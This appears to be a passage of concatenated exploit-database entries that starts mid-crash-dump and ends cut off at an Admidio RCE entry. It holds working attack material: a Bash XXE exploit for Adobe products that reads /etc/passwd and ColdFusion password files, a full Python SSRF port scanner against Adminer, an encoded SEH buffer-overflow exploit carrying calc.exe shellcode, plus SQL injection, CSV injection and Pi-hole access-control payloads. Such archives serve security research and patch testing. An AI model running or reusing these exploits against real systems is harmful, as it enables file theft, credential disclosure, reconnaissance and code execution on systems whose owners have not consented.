548d0e60 8b4808 mov ecx,dword ptr [eax+8]
548d0e63 ff7004 push dword ptr [eax+4]
548d0e66 51 push ecx
548d0e67 ff510c call dword ptr [ecx+0Ch]
548d0e6a 83c40c add esp,0Ch
548d0e6d 85c0 test eax,eax
548d0e6f 7405 je CoolType!CTGetVersion+0xafcde (548d0e76)
548d0e71 33c0 xor eax,eax
--- cut ---
And it is clear that almost none of the memory under [EAX] is initialized at the time of the crash:
--- cut ---
0:000> dd eax
84ca7ef4 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f04 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c00000
84ca7f14 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f24 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f34 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f44 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f54 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f64 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47260.zip
#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#
PROGNAME="$(basename $0)" # This script
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
EXITCODE="0" # Assume success, changes on errors
CURL="/usr/bin/curl" # Other locations are detected with "which"
SSL="0" # Overridden by -s
DEBUG="0" # Overridden by -d
BREAKFOUND="0" # Overridden by -b
TARGETHOST="" # Overridden by -h
TARGETPORT="8400" # Overridden by -p
READFILE="/etc/passwd" # Overridden by -f
################################## OVERHEAD SECTION
#
# Various functions for overhead purposes.
#
# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
LEVEL="$1"
MESSAGE="$2"
# You may switch the following two, if you need to log to syslog.
#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}
ExitCleanup() {
EXITCODE=${1}
rm -f ${SCRATCHFILE}* >/dev/null 2>&1
echo ""
exit ${EXITCODE}
}
# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
local IP=${1}
local STAT=1
if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
then
OIFS=$IFS; IFS='.'
IP=(${IP})
IFS=$OIFS
[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
stat=$?
fi
return $stat
}
# Function to output help information.
show-help() {
echo ""
cat << EOF
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
-? Show this help message.
-d Debug mode, outputs more kruft on stdout.
-s Use SSL / HTTPS, instead of HTTP.
-b Break on the first valid answer found.
-h Target host
-p Target port, defaults to 8400.
-f Full path to file to grab, defaults to /etc/passwd.
This script exploits a known vulnerability in a set of Adobe applications. Using one
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
normally inaccessible.
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'
This script relies on CURL, so please have it in your PATH.
EOF
}
# Parsing and verifying the passed parameters.
OPTIND=1
while getopts "?dsbh:p:f:" opt; do
case "$opt" in
\?) show-help; ExitCleanup 0 ;;
d) DEBUG="1" ;;
s) SSL="1" ;;
b) BREAKFOUND="1" ;;
h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
then TARGETHOST=${OPTARG}
else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
fi ;;
p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
else TARGETPORT=${OPTARG}
fi ;;
f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
else READFILE=${OPTARG}
fi ;;
*) show-help; ExitCleanup 0 ;;
esac
done
[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."
################################## GETTING TO WORK
#
#
PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
"/lcds-samples/messagebroker/httpsecure")
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "XML file sent to target host reads as follows:"
echo "======================================"
cat ${SCRATCHFILE}
echo "======================================"
echo ""
fi
let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1
for ADOBEPATH in "${PATHLIST[@]}"
do
[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"
# Header contents based on a tcpdump capture of original exploit being
# run from Metasploit.
HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""
CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"
# The tr command dikes out any non-ASCII characters which might mess with output.
CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)
# Output is pretty garbled and the HTTP return code is enclosed in double quotes.
# I need to grab the last 5 chars (includes NULL EOF) and remove the ".
CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
logger DEBUG "Output from CURL reads as follows:"
echo "======================================"
echo "${CURLOUTPUT}"
echo "======================================"
echo ""
fi
logger INFO "${CURLCODE} for ${URI}"
if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]
then
echo "Read from ${URI}:"
echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
fi
if [[ ${DEBUG} -gt 0 ]]
then
echo -e "\nReady to continue with the next URI? [y/n]: \c"
read READY
case ${READY} in
y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
esac
fi
done
ExitCleanup 0
# Exploit Title: AdminLTE PiHole < 5.18 - Broken Access Control
# Google Dork: [inurl:admin/scripts/pi-hole/phpqueryads.php](https://vuldb.com/?exploit_googlehack.216554)
# Date: 21.12.2022
# Exploit Author: kv1to
# Version: Pi-hole v5.14.2; FTL v5.19.2; Web Interface v5.17
# Tested on: Raspbian / Debian
# Vendor: https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-6qh8-6rrj-7497
# CVE : CVE-2022-23513
In case of an attack, the threat actor will obtain the ability to perform an unauthorized query for blocked domains on queryads endpoint.
## Proof Of Concept with curl:
curl 'http://pi.hole/admin/scripts/pi-hole/php/queryads.php?domain=<searchquery>'
## HTTP requests
GET /admin/scripts/pi-hole/php/queryads.php?domain=<searchquery>' HTTP/1.1
HOST: pi.hole
Cookie: [..SNIPPED..]
[..SNIPPED..]
## HTTP Response
HTTP/1.1 200 OK
[..SNIPPED..]
data: Match found in [..SNIPPED..]
data: <domain>
data: <domain>
data: <domain>
# -*- coding: utf-8 -*-
#!/usr/bin/python
# Exploit Title: AdminExpress 1.2.5 - Denial of Service (PoC)
# Date: 2019-04-12
# Exploit Author: Mücahit İsmail Aktaş
# Software Link: https://admin-express.en.softonic.com/
# Version: 1.2.5.485
# Tested on: Windows XP Professional SP2
# Description:
#
# 1) Click the "System Compare" button
# 2) Paste the payload in the "Folder Path" (left)
# 3) Click the scales icon (in the middle, right side of "Folder Path")
#
buffer = "A" * 5000
print("Payload: \n\n" + buffer + "\n")
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: apparition security
Vendor:
==============
www.adminer.org
Product:
================
Adminer <= v4.3.1
Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a
single file ready to deploy to the target server. Adminer is available for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.
https://github.com/vrana/adminer/releases/
Vulnerability Type:
===================
Server Side Request Forgery
CVE Reference:
==============
N/A
Security Issue:
================
Adminer allows unauthenticated connections to be initiated to arbitrary systems/ports. This vulnerability can be used to potentially bypass firewalls to
identify internal hosts and perform port scanning of other servers for reconnaissance purposes. Funny thing is Adminer throttles invalid login attempts
but allows endless unauthorized HTTP connections to other systems as long as your not trying to authenticate to Adminer itself.
Situations where Adminer can talk to a server that we are not allowed to (ACL) and where we can talk to the server hosting Adminer, it can do recon for us.
Recently in LAN I was firewalled off from a server, however another server running Adminer I can talk to. Also, that Adminer server can talk to the target.
Since Adminer suffers from Server-Side Request Forgery, I can scan for open ports and gather information from that firewalled off protected server.
This allowed me to not only bypass the ACL but also hide from the threat detection system (IDS) monitoring east west connections.
However, sysadmins who check the logs on the server hosting Adminer application will see our port scans.
root@lamp log/apache2# cat other_vhosts_access.log
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:25:11 +0000] "GET ///?server=TARGET-IP:21&username= HTTP/1.1" 403 1429 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:24 +0000] "GET ///?server=TARGET-IP:22&username= HTTP/1.1" 403 6019 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:56 +0000] "GET ///?server=TARGET-IP:23&username= HTTP/1.1" 403 6021 "-" "-"
Details:
==================
By comparing different failed error responses from Adminer when making SSRF bogus connections, I figured out which ports are open/closed.
Port open ==> Lost connection to MySQL server at 'reading initial communication packet
Port open ==> MySQL server has gone away
Port open ==> Bad file descriptor
Port closed ==> Can't connect to MySQL server on '<TARGET-IP>';
Port closed ==> No connection could be made because the target machine actively refused it
Port closed ==> A connection attempt failed.
This worked so well for me I wrote a quick port scanner 'PortMiner' as a proof of concept that leverages Adminer SSRF vulnerability.
PortMiner observations:
======================
No response 'read operation timed out' means the port is possibly open or filtered and should be given a closer look if possible. This seems to occur when scanning
Web server ports like 80, 443. However, when we get error responses like the ones above from the server we can be fairly certain a port is either open/closed.
Quick POC:
echo -e 'HTTP/1.1 200 OK\r\n\r\n' | nc -l -p 5555
Use range 5555-5555
Exploit/POC:
=============
import socket,re,ssl,warnings,subprocess,time
from platform import system as system_name
from os import system as system_call
#Adminer Server Side Request Forgery
#PortMiner Scanner Tool
#by John Page (hyp3rlinx)
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#=========================
#D1rty0Tis says hi.
#timeout
MAX_TIME=32
#ports to log
port_lst=[]
#Web server response often times out but usually means ports open.
false_pos_ports=['80','443']
BANNER='''
____ _ __ __ _
| _ \ | | | \/ (_)
| |__) |__ _ __| |_| \ / |_ _ __ ___ _ __
| ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__|
| | | (_) | | | |_| | | | | | | | __/ |
|_| \___/|_| \__|_| |_|_|_| |_|\___|_|
'''
def info():
print "\nPortMiner depends on Error messages to determine open/closed ports."
print "Read operations reported 'timed out' may be open/filtered.\n"
def greet():
print 'Adminer Unauthenticated SSRF Port Scanner Tool'
print 'Targets Adminer used for MySQL administration\n'
print 'by hyp3rlinx - apparition security'
print '-----------------------------------------------------\n'
print 'Scan small ranges or single ports or expect to wait.\n'
print 'Do not scan networks without authorized permission.'
print 'Author not responsible for abuse/misuse.\n'
def chk_ports(p):
p=p.replace('-',',')
port_arg=p.split(',')
try:
if len(port_arg)>1:
if int(port_arg[1]) < int(port_arg[0]):
print 'Port range not valid.'
raw_input()
return
if int(port_arg[1])>65535:
print 'Exceeded max Port range 65535.'
raw_input()
return
except Exception as e:
print str(e)
return None
return list(range(int(port_arg[0]),int(port_arg[1])+1))
def log(IP):
try:
file=open('PortMiner.txt', 'w')
file.write(IP+'\n')
for p in port_lst:
file.write(p+'\n')
file.close()
except Exception as e:
print str(e)
print "\nSee PortMiner.txt"
def use_ssl(ADMINER,ADMINER_PORT):
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ADMINER,int(ADMINER_PORT)))
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.close()
except Exception as e:
print ""
return False
return True
def version(ip,port,uri,use_ssl):
res=""
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,int(port)))
if use_ssl:
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')
except Exception as e:
print 'Host up but cant connect.' #str(e)
print 'Re-check Host/Port/URI.'
s.close()
return 504
while True:
RES=s.recv(512)
if RES.find('Forbidden')!=-1:
print 'Forbidden 403'
s.close()
return None
if RES.find('401 Authorization Required')!=-1:
print '401 Authorization Required'
s.close()
return None
ver = re.findall(r'<span class="version">(.*)</span>',RES,re.DOTALL|re.MULTILINE)
if not RES:
s.close()
return None
if ver:
print 'Your Adminer '+ ver[0] + ' works for us now.'
s.close()
return ver
s.close()
return None
def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
global MAX_TIME,port_range
RES=''
print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'
for aPort in port_range:
aPort=str(aPort)
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(MAX_TIME)
s.connect((ADMINER,ADMINER_PORT))
if USE_SSL:
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')
except Exception as e:
print str(e)
s.close()
return
while True:
try:
RES=s.recv(512)
###print RES
###Should see HTTP/1.1 403 not 200
if RES.find('HTTP/1.1 200 OK')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
if RES.find('400 Bad Request')!=-1:
print '400 Bad Request, check params'
s.close()
break
raw_input()
lst=re.findall(r"([^\n<div class='error'>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+
"|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES)
if lst:
status=str(lst)
if status.find('connect to MySQL')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('machine actively refused it.')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('A connection attempt failed')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('reading initial communication packet')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('MySQL server has gone away')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('Bad file descriptor')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('Got packets out of order')!=-1:
print 'port '+aPort + ' open'
s.close()
break
except Exception as e:
msg = str(e)
###print msg
if msg.find('timed out')!=-1 and aPort in false_pos_ports:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif msg.find('timed out')!=-1:
print 'port '+aPort + ' timed out'
port_lst.append(aPort+' read operation timed out')
s.close()
break
else:
s.close()
break
if port_lst:
log(TARGET)
else:
print "Scan completed, no ports mined."
return 0
def arp(host):
args = "-a" if system_name().lower()=="windows" else "-e"
return subprocess.call("arp " + args + " " + host, shell=True) == 0
def ping_host(host):
args = "-n 1" if system_name().lower()=="windows" else "-c 1"
res=subprocess.call("ping " + args + " " + host, shell=True) == 0
if not res:
print str(host) + ' down? trying ARP'
if not arp(host):
print str(host) + ' unreachable.'
return
return res
def main():
global port_range
print BANNER
greet()
ADMINER_VERSION=False
PRINT_CLOSED=False
USE_SSL=None
ADMINER=raw_input('[+] Adminer Host/IP> ')
if ADMINER=='':
print 'Enter valid Host/IP'
ADMINER=raw_input('[+] Adminer Host/IP> ')
ADMINER_PORT=raw_input('[+] Adminer Port> ')
if not re.search("^\d{1,5}$",ADMINER_PORT):
print 'Enter a valid Port.'
ADMINER_PORT=raw_input('[+] Adminer Port> ')
ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ')
TARGET=raw_input('[+] Host/IP to Scan> ')
PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
if not plst:
print 'Invalid ports, format is 1-1025'
return
raw_input() #console up
port_range=chk_ports(PORTS_TO_SCAN)
if not port_range:
return
PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
if PRINT_CLOSED=='1':
PRINT_CLOSED=True
else:
PRINT_CLOSED=False
if not ping_host(ADMINER):
print 'host %s not reachable or blocking ping ' % ADMINER
cont=raw_input('Continue with scan? 1=Yes any key for No> ')
if cont!='1':
print 'Scan aborted.'
raw_input() #console up
return
USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
time.sleep(2)
ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)
if not ADMINER_VERSION:
print "Can't retrieve Adminer script. check supplied URI."
raw_input() #console up
return
else:
if ADMINER_VERSION==504:
raw_input() #console up
return
if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
more=raw_input('Info: 1=Yes, any key for No> ')
if more=='1':
info()
raw_input() #console up
if __name__=='__main__':
main()
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: December 16, 2017
Vendor Acknowledgment and reply "I could disallow connecting to well-known ports" : December 18, 2017
Vendor "Adminer throttles invalid login attempts. That should help. I am not sure what else could Adminer do about this."
No more replies from vendor since : December 18, 2017
Attempt contact vendor : January 4, 2018
No more replies (unresponsive).
January 12, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
# Title: Admin Express v1.2.5.485 'Folder Path' Local SEH Alphanumeric Encoded Buffer Overflow
# Date: May 6th, 2019
# Author: Connor McGarr (https://connormcgarr.github.io)
# Vendor Homepage: https://admin-express.en.softonic.com/
# Software Link: https://admin-express.en.softonic.com/download
# Version v1.2.5.485
# Tested on: Windows XP SP3 EN
# TO RUN:
# 1. Run python script
# 2. Copy contents of pwn.txt
# 3. Open Admin Express
# 4. Select System Compare
# 5. Paste contents into the left-hand side Folder Path field
# 6. Click the scale icon in the middle of the screen, under the Services and Running Processes tabs
# This got a bit hairy. We manually encoded our shellcode and had to use the sub method for encoding each line of payload.
# 05 was a bad character for us, which is an add eax opcode. We could use (in hex) 1-4,6,10-7E. This was an odd character set.
# Can replace with a shell, if you are willing to do the encoding and decoding math Too preoccupied for now, so here is calc.exe
# You would need to use logical AND plus the sub eax opcodes to get a value on the stack that could jump back to the A buffer, where there is
# much more room. Then you would need to align the stack with the stack pointer value you need (not 0x012F3F4 as used below) and write to the stack upwards.
# You should have enough room for all of the logical AND plus sub eax commands to get a full-sized shell payload on the stack.
# calc.exe shellcode:
# "\x31\xc9\x51\x68"
# "\x63\x61\x6c\x63"
# "\x54\xB8\xc7\x93"
# "\xc2\x77\xff\xd0"
# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01" # and eax, 0x01010101
zero += "\x25\x10\x10\x10\x10" # and eax, 0x10101010
# We need to save the current stack pointer before execution of shellcode, due to
# old stack pointer value needed when executing our payload of calc.exe. This puts the current stack pointer 0x0012DC98 into ECX, to be used later
restore = "\x54" # push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack)
restore += "\x59" # pop ecx; (holding the value of old ESP in ECX, to be called later.)
restore += "\x51" # push ecx; (to get the value on the stack for the mov esp command later)
# Stack alignment
# Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack.
# After making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack.
alignment = "\x54" # push esp
alignment += "\x58" # pop eax; (puts the value of ESP into EAX)
# Write these 3 sub values in normal format, since memory address, not instruction to be executed. You do not have to do
# it this way, but I do my calculations in normal format to remind me it is a memory address, when doing hex max. For my
# other operations, I used little endian. If you do all of the calculations in one way, you do not need to flip the sub
# math difference results. This is how I keep things straight
# 384D5555 364D5555 364E5555
alignment += "\x2d\x38\x4d\x55\x55" # sub eax, 0x384D5555
alignment += "\x2d\x36\x4d\x55\x55" # sub eax, 0x364D5555
alignment += "\x2d\x36\x4e\x55\x55" # sub eax, 0x364E5555
alignment += "\x50" # push eax
alignment += "\x5c" # pop esp; (puts the value of eax back into esp)
# calc.exe shellcode, via the sub method. Values needed are as followed. Reference the calc.exe shellcode line for line numbers.
# 1st line = 2C552D14 01552D14 01562E16
shellcode = zero
shellcode += "\x2d\x14\x2d\x55\x2c" # sub eax, 0x2C552D14
shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14
shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16
shellcode += "\x50" # push eax; (get the value on the stack). We will do this for all remaining steps like this one.
# 2nd line = 24121729 24121739 2414194A
shellcode += zero
shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729
shellcode += "\x2d\x39\x17\x12\x24" # sub eax, 0x24121739
shellcode += "\x2d\x4a\x19\x14\x24" # sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)
shellcode += "\x50" # push eax
# 3rd line = 34313635 34313434 34313434
shellcode += zero
shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x50" # push eax
# 4th line = 323A1245 323A1245 333A1245
shellcode += zero
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245
shellcode += "\x50" # push eax
# We need to restore the old ESP value of 0x0012DC98 to spawn calc.exe. Since it is a syscall,
# we need the ESP value before execution. We will do this by performing MOV ECX, ESP (remember ECX contains old ESP!).
# Here are the 3 values: 403F2711 3F3F2711 3F3F2811
move = zero
move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x403F2711
move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711
move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811
move += "\x50" # push eax
# All together now.
payload = "\x41" * 4260
payload += "\x70\x7e\x71\x7e" # JO 126 bytes. If jump fails, default to JNO 126 bytes
payload += "\x42\x4c\x01\x10" # 0x10014c42 pop pop ret wmiwrap.DLL
# There are 2 NULL (\x00) terminators in our buffer of A's, near our nSEH jump. We are going to jump far away from them
# so we have enough room for our shellcode and to decode.
payload += "\x41" * 122 # add padding since we jumped 7e hex bytes (126 bytes) above
payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
payload += "\x41" * 124
payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
payload += "\x41" * 124
payload += "\x70\x79\x71\x79" # JO or JNO only 121 bytes
payload += "\x41" * 121 # NOP is in the restricted characters. Using \x41 as a slide into alignment
payload += restore
payload += alignment
payload += shellcode
payload += move
payload += "\x43" * (5000-len(payload))
f = open('pwn.txt', 'w')
f.write(payload)
f.close()
source: https://www.securityfocus.com/bid/50562/info
Admin Bot is prone to an SQL Injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
http://www.example.com/news.php?wgo=666+and+1=2+union+all+select+0,1,BALTAZAR,3,4,5,6,7,8--
Exploit Title: admidio v4.2.5 - CSV Injection
Application: admidio
Version: 4.2.5
Bugs: CSV Injection
Technology: PHP
Vendor URL: https://www.admidio.org/
Software Link: https://www.admidio.org/download.php
Date of found: 26.04.2023
Author: Mirabbas Ağalarov
Tested on: Windows
2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to My profile (edit profile) and set postal code as =calc|a!z| and save (http://localhost/admidio/adm_program/modules/profile/profile_new.php?user_uuid=4b060d07-4e63-429c-a6b7-fc55325e92a2)
step 3. If admin Export users as CSV or excell file ,in The computer of admin occurs csv injection and will open calculator (http://localhost/admidio/adm_program/modules/groups-roles/lists_show.php?rol_ids=2)
payload: =calc|a!z|
Poc video: https://www.youtube.com/watch?v=iygwj1izSMQ
Exploit Title: Admidio v4.2.10 - Remote Code Execution (RCE)
Application: Admidio
Version: 4.2.10
Bugs: RCE
Technology: PHP
Vendor URL: https://www.admidio.org/
Software Link: https://www.admidio.org/download.php
Date of found: 10.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
Steps:
1. Login to account
